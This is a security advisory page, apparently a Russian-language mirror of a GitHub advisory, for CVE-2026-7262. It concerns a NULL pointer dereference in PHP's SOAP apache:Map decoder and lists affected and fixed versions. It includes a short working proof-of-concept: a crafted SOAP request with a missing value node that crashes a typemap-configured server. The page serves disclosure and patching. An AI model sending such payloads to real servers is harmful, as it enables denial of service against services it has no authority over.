GHSA-hmxp-6pc4-f3vv

Опубликовано: 07 мая 2026

Источник: github

Github: Не прошло ревью

CVSS4: 6.3

Описание

NULL pointer dereference in SOAP apache:Map decoder with missing

to_zval_map() in ext/soap/php_encoding.c decodes apache:Map nodes. The <key> branch correctly guards against missing keys, but the <value> branch rechecks xmlKey instead of xmlValue:

https://github.com/php/php-src/blob/0d9ff00394d9447992bb66ccb1cef3edf70576bd/ext/soap/php_encoding.c#L2780-L2788

In addition, master_to_zval_int() accesses data->properties without a NULL check, where data corresponds to the missing <value> node. This branch is reachable when SOAP_GLOBAL(typemap) is set, i.e. when the SOAP server has a typemap configured. By embedding an apache:Map node with a missing <value> node into the request, the process will segfault with a NULL pointer dereference violation. Under the described circumstances, DoS becomes trivial with the following example:

$request = <<<XML <?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:apache="http://xml.apache.org/xml-soap"> <soap:Body> <test> <map xsi:type="apache:Map"> <item><key>foo</key></item> </map> </test> </soap:Body> </soap:Envelope> XML; $server = new SoapServer(null, [ 'uri' => 'urn:test', 'typemap' => [['type_name' => 'anything']], ]); $server->addFunction('test'); function test($m) {} $server->handle($request);

Пакеты

Наименование

php

Затронутые версииВерсия исправления

>=8.2.0, <8.2.31

8.2.31

Наименование

php

Затронутые версииВерсия исправления

>=8.3.0, <8.3.31

8.3.31

Наименование

php

Затронутые версииВерсия исправления

>=8.4.0, <8.4.21

8.4.21

Наименование

php

Затронутые версииВерсия исправления

>=8.5.0, <8.5.6

8.5.6

EPSS

Процентиль: 53%

0.0078

Низкий

6.3 Medium

CVSS4

CVE ID

CVE-2026-7262

Связанные уязвимости

CVE-2026-7262

CVSS3: 7.5

ubuntu

3 месяца назад

In PHP versions 8.2.* before 8.2.31, 8.3.* before 8.3.31, 8.4.* before 8.4.21, and 8.5.* before 8.5.6, when a SOAP server has a typemap configured, the decoding process contains a mistake which checks the wrong variable in case of missing value element. This leads to dereferences a NULL pointer, causing a segmentation fault. This allows a remote unauthenticated attacker to crash the PHP SOAP server process, resulting in denial of service.